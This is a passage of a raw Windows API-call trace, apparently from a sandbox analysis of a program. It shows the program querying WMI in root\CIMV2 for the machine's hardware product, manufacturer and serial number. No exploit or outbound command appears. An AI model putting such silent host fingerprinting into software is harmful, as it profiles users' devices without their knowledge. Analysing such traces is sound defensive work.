puBuffLength=0x1b0bc8a0*=0xf, pszText=0x0) returned 0x0 [0157.322] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc8a0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc8a0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.322] CoGetContextToken (in: pToken=0x1b0bc670 | out: pToken=0x1b0bc670) returned 0x0 [0157.322] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0157.322] IUnknown:Release (This=0x1b2e0d00) returned 0x0 [0157.324] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.324] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.325] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.325] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Product", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55298*=0, plFlavor=0x2b5529c*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x2b55298*=8, plFlavor=0x2b5529c*=0) returned 0x0 [0157.325] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.325] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.325] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Product", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55298*=8, plFlavor=0x2b5529c*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x2b55298*=8, plFlavor=0x2b5529c*=0) returned 0x0 [0157.325] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.325] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.325] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.325] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.325] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.325] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Product", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55360*=0, plFlavor=0x2b55364*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x2b55360*=8, plFlavor=0x2b55364*=0) returned 0x0 [0157.325] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.325] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.326] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Product", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55360*=8, plFlavor=0x2b55364*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x2b55360*=8, plFlavor=0x2b55364*=0) returned 0x0 [0157.326] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.326] SysStringByteLen (bstr="0G3HR7") returned 0xc [0157.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.329] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.329] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.329] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Manufacturer", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b554c8*=0, plFlavor=0x2b554cc*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x2b554c8*=8, plFlavor=0x2b554cc*=0) returned 0x0 [0157.329] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.329] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.329] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Manufacturer", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b554c8*=8, plFlavor=0x2b554cc*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x2b554c8*=8, plFlavor=0x2b554cc*=0) returned 0x0 [0157.329] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.329] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.329] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.329] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.329] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Manufacturer", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b555a0*=0, plFlavor=0x2b555a4*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x2b555a0*=8, plFlavor=0x2b555a4*=0) returned 0x0 [0157.329] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.329] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.330] IWbemClassObject:Get (in: This=0x1b349b20, wszName="Manufacturer", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b555a0*=8, plFlavor=0x2b555a4*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x2b555a0*=8, plFlavor=0x2b555a4*=0) returned 0x0 [0157.330] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.330] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0157.330] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.330] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.330] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.330] IWbemClassObject:Get (in: This=0x1b349b20, wszName="SerialNumber", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55718*=0, plFlavor=0x2b5571c*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x2b55718*=8, plFlavor=0x2b5571c*=0) returned 0x0 [0157.330] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.330] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.330] IWbemClassObject:Get (in: This=0x1b349b20, wszName="SerialNumber", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55718*=8, plFlavor=0x2b5571c*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x2b55718*=8, plFlavor=0x2b5571c*=0) returned 0x0 [0157.330] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.330] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.330] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.330] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.330] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.331] IWbemClassObject:Get (in: This=0x1b349b20, wszName="SerialNumber", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55810*=0, plFlavor=0x2b55814*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x2b55810*=8, plFlavor=0x2b55814*=0) returned 0x0 [0157.331] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.331] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.331] IWbemClassObject:Get (in: This=0x1b349b20, wszName="SerialNumber", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b55810*=8, plFlavor=0x2b55814*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x2b55810*=8, plFlavor=0x2b55814*=0) returned 0x0 [0157.331] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.331] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0157.331] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc998 | out: ppv=0x1b0bc998*=0x4b0108) returned 0x0 [0157.331] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc988 | out: pAptType=0x1b0bc988*=1) returned 0x0 [0157.331] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc990 | out: ppvObject=0x1b0bc990*=0x0) returned 0x80004002 [0157.331] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.332] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbd88 | out: ppv=0x1b0bbd88*=0x1b33c900) returned 0x0 [0157.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33c900, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbe70 | out: ppvObject=0x1b0bbe70*=0x0) returned 0x80004002 [0157.332] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33c900, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe48 | out: ppvObject=0x1b0bbe48*=0x4f3c40) returned 0x0 [0157.332] WbemDefPath:IUnknown:Release (This=0x1b33c900) returned 0x0 [0157.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbbf0 | out: ppvObject=0x1b0bbbf0*=0x4f3c40) returned 0x0 [0157.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbc80 | out: ppvObject=0x1b0bbc80*=0x0) returned 0x80004002 [0157.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb478 | out: ppvObject=0x1b0bb478*=0x0) returned 0x80004002 [0157.333] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0157.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb338 | out: ppvObject=0x1b0bb338*=0x0) returned 0x80004002 [0157.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb2c0 | out: ppvObject=0x1b0bb2c0*=0x0) returned 0x80004002 [0157.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb2b0 | out: ppvObject=0x1b0bb2b0*=0x1b33ca40) returned 0x0 [0157.333] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33ca40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb2d8 | out: pCid=0x1b0bb2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.333] WbemDefPath:IUnknown:Release (This=0x1b33ca40) returned 0x3 [0157.333] CoGetContextToken (in: pToken=0x1b0bb360 | out: pToken=0x1b0bb360) returned 0x0 [0157.333] CoGetContextToken (in: pToken=0x1b0bb7e0 | out: pToken=0x1b0bb7e0) returned 0x0 [0157.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb8a0 | out: ppvObject=0x1b0bb8a0*=0x0) returned 0x80004002 [0157.333] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0157.333] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0157.333] CoGetContextToken (in: pToken=0x1b0bc5d0 | out: pToken=0x1b0bc5d0) returned 0x0 [0157.333] CoGetContextToken (in: pToken=0x1b0bc4d0 | out: pToken=0x1b0bc4d0) returned 0x0 [0157.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x1b0bc630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc600 | out: ppvObject=0x1b0bc600*=0x4f3c40) returned 0x0 [0157.333] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0157.333] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0157.333] WbemDefPath:IWbemPath:SetText (This=0x4f3c40, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0157.334] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc9b8 | out: puCount=0x1b0bc9b8*=0x2) returned 0x0 [0157.334] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc9b0*=0xf, pszText=0x0) returned 0x0 [0157.334] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc9b0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.334] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc9c8 | out: puCount=0x1b0bc9c8*=0x2) returned 0x0 [0157.334] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc9c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc9c0*=0xf, pszText=0x0) returned 0x0 [0157.334] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc9c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc9c0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.334] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc948 | out: ppv=0x1b0bc948*=0x4b0108) returned 0x0 [0157.334] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc938 | out: pAptType=0x1b0bc938*=1) returned 0x0 [0157.334] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc940 | out: ppvObject=0x1b0bc940*=0x0) returned 0x80004002 [0157.334] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.334] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc008 | out: ppv=0x1b0bc008*=0x1b33c920) returned 0x0 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c920, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc0f0 | out: ppvObject=0x1b0bc0f0*=0x0) returned 0x80004002 [0157.335] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b33c920, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc0c8 | out: ppvObject=0x1b0bc0c8*=0x1b33cb60) returned 0x0 [0157.335] WbemLocator:IUnknown:Release (This=0x1b33c920) returned 0x0 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe70 | out: ppvObject=0x1b0bbe70*=0x1b33cb60) returned 0x0 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbf00 | out: ppvObject=0x1b0bbf00*=0x0) returned 0x80004002 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb6f8 | out: ppvObject=0x1b0bb6f8*=0x0) returned 0x80004002 [0157.335] WbemLocator:IUnknown:AddRef (This=0x1b33cb60) returned 0x3 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb5b8 | out: ppvObject=0x1b0bb5b8*=0x0) returned 0x80004002 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb540 | out: ppvObject=0x1b0bb540*=0x0) returned 0x80004002 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb530 | out: ppvObject=0x1b0bb530*=0x0) returned 0x80004002 [0157.335] CoGetContextToken (in: pToken=0x1b0bb5e0 | out: pToken=0x1b0bb5e0) returned 0x0 [0157.335] CoGetContextToken (in: pToken=0x1b0bba60 | out: pToken=0x1b0bba60) returned 0x0 [0157.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb20 | out: ppvObject=0x1b0bbb20*=0x0) returned 0x80004002 [0157.336] WbemLocator:IUnknown:Release (This=0x1b33cb60) returned 0x2 [0157.336] WbemLocator:IUnknown:Release (This=0x1b33cb60) returned 0x1 [0157.336] CoGetContextToken (in: pToken=0x1b0bc4a0 | out: pToken=0x1b0bc4a0) returned 0x0 [0157.336] CoGetContextToken (in: pToken=0x1b0bc3a0 | out: pToken=0x1b0bc3a0) returned 0x0 [0157.336] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33cb60, riid=0x1b0bc500*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc4d0 | out: ppvObject=0x1b0bc4d0*=0x1b33cb60) returned 0x0 [0157.336] WbemLocator:IUnknown:AddRef (This=0x1b33cb60) returned 0x3 [0157.336] WbemLocator:IUnknown:Release (This=0x1b33cb60) returned 0x2 [0157.336] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc8d8 | out: puCount=0x1b0bc8d8*=0x2) returned 0x0 [0157.336] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=8, puBuffLength=0x1b0bc8d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc8d0*=0xf, pszText=0x0) returned 0x0 [0157.336] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=8, puBuffLength=0x1b0bc8d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc8d0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.336] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc620 | out: ppv=0x1b0bc620*=0x1b33c920) returned 0x0 [0157.336] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b33c920, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bc798 | out: ppNamespace=0x1b0bc798*=0x1b340f20) returned 0x0 [0157.353] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340f20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc498 | out: 